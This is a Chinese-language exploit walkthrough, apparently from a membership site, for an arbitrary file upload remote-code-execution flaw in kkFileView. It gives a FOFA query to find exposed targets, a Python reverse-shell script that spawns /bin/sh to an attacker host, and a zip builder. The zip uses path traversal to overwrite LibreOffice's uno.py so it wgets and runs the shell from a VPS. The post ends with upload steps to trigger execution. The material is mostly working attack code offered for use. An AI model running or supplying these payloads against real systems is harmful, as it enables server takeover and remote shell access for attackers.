kkFileView存在任意文件上传致远程代码执行漏洞

FOFA:

app=”kkFileView”

步骤

保存ft.py,vpn起web服务

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("ip",port))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])

图片[1]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

制作ft.zip,上传并预览

import zipfile

if __name__ == “__main__”:

try:

binary1 = b’test123′

binary2 = b’import os\r\nos.system(\’wget http://vps:30285/ft.py && python3 ft.py\’)’

zipFile = zipfile.ZipFile(“ft.zip”, “a”, zipfile.ZIP_DEFLATED)

info = zipfile.ZipInfo(“ft.zip”)

zipFile.writestr(“test”, binary1)

zipFile.writestr(“../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py”, binary2)

zipFile.close()

except IOError as e:

raise e

图片[2]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

图片[3]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

图片[4]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

然后随便创一个.odt文件,上传并浏览。

图片[5]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

图片[6]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

图片[7]-kkFileView存在任意文件上传致远程代码执行漏洞-棉花糖会员站

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容